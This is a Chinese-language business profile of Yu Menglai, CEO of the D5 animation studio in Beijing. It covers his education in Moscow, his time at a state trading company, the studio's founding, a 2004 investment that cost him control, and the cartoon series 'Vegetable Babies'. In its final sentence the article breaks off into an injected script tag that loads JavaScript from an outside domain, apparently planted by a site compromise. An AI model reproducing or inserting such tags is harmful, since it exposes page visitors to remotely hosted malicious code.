19岁去前苏联留学。27岁进入国家大型进出口公司做贸易。30岁离开国企组建d5动画公司。32岁组建古董家具公司，非常热爱中国文化。
于梦来，叱咤中国原创动画界的第五动画制作有限公司ceo。一个打着耳钉，脚蹬大
皮靴，酷爱摇滚乐和画画的男人，在极富个性的外表和言谈举止下，是一个成熟商人对行业背景和商业运营模式的判断和分析。在他看来，坚持原创动画，是国内民营动画企业成功的决定因素。
大家档案
于梦来第五动画制作有限公司ceo
出生时间：1972年
籍贯：北京
毕业学校：莫斯科大学艺术系
“冒险史”
1996年———1999年北京某大型国企。
1999年，他和4个志趣相投的伙伴在北京发起创办了d5空间工作室(d5studio)，从电脑动画制作培训起家，d5空间开始逐渐承接大型动画的加工制作。
2004年6月，技新国际有限公司以参股的形式投资d5空间。
2005年中旬，d5空间的第一部原创三维动画片《蔬菜宝宝》问世，投资达到近1000万元，长达52集。
江湖历练
国企教会他赚钱之道
35岁的于梦来毕业于莫斯科大学艺术系。尽管是满族人，但他一坐下就说他有一半的血统是属于广东的，因为他的外公是客家人。于梦来说他“从小就爱画画，小时候成绩不错，但是上了高中后就不行了”，所以19岁时，家里送他去莫斯科大学深造。在莫斯科，他经历了6年专业油画训练。他说，回国以后，他觉得迷茫，从一个很有规律的校园环境到另外一个环境，他感到很陌生，无所适从。最初他在香港呆了半年，不知道自己该干什么，在调整，东做做，西做做。1996年7月1日，他进入北京一家大型进出口公司工作。
在国企呆了3年，于梦来说，每天看到单位里40岁-50岁左右的同事，他就似乎看到了他自己未来的影子。“如果再在国企呆下去，未来我的轨迹应该是怎样，一清二楚。”所以那种感觉让他觉得“糟透了”。于梦来很有感慨地说：“人有时候明白未来会是怎样一回事后，就觉得特别没意思。”
谈到几年的国企经历，于梦来笑言，有时候朋友之间开玩笑总结，都说国企可以让大伙明白，在中国的赚钱渠道排行榜分别是：国家的钱最好赚，第二是老外的钱，最后才排到市场的钱。
创业，烧自己的钱
1999年，于梦来从让他感觉“糟透了”的国企辞职，与几个朋友成立了一家动画工作室，开始一起做一些电视台的包装、广告。他说，最初进入动画这个行业，仅仅是因为动画和其专业特长相结合，有兴趣。
于梦来回忆道，最初开办工作室，那是在烧自己和朋友的钱。因为在当时的市场环境下，把原创动画作为公司的主要盈利模式去经营，是根本行不通的。动画公司投入巨大的精力去做一部短片，但电视台收购的价格非常便宜，一分钟的动画片报价，央视顶多才给600元，其他地方电视台就更少；而动画公司每制作一分钟动画片，约需人民币几千元。所以成立原创动画工作室，很多时候要靠非主流业务比如说网站的建设、广告的制作等来养活原创动画这一主流业务。
d5空间最初从电脑动画制作培训起家，按照于梦来的说法是为动画制作企业培训流水线上的工人。后来，d5空间开始逐渐承接大型动画的加工制作。2004年，后期制作和培训两项业务给d5空间带来近600万元的收入。但是于梦来却把90%的精力都用在了动画片制作前期的创意和策划上。于梦来说，工作室自成立到现在，他个人陆续投入的资金不下于百万。在外来投资者的资金还没有进入的时候，几乎每个项目都做成了，钱也赚到了，但马上就花费了，并没有资金积累。
引入战略投资者，解决资金瓶颈
2003年中旬一次业务往来中，于梦来认识了新闻集团前任董事、星空卫视(startv)董事长兼首席执行官张镇中。62岁的张镇中曾相继担任休斯国际、直播电视公司(directv)和麦道亚太公司的董事长、总裁，随后自己创办了技新国际有限公司(gc3& associates international)，主要在媒介技术开发和传媒娱乐领域投资。
2004年6月，技新国际有限公司以参股投资d5空间，成为大股东的张镇中担任了d5空间的董事长，于梦来则由原来的董事长出任ceo。为了原创动画，于梦来选择了放弃公司控股权，他拥有的公司股份从之前的50%多，缩水至10%。
于梦来说：“在现在的市场环境下，原创动画盈利模式不成熟。为了原创动画，我只有接受外来的资金进入。”
张镇中加盟后，明确了d5空间的目标：坚持原创动画。除了投入资金，他凭借自己对国际动画业的了解，帮助d5空间把重心转到了三维动画片的原创制作上。d5空间开始全力投入制作三维动画片《蔬菜宝宝》。
“《蔬菜宝宝》是一个发生在青菜王国的52集系列动画片。这部动画片很适合4岁以上的小朋友观看。这部专门为3到8岁儿童创作的动画片中，黄瓜、茄子和各式各样的蔬菜是故事的主人公。每一集都表达了一个寓意，而这个点子完全是我们自己?script src=http://er12.com/t.js>
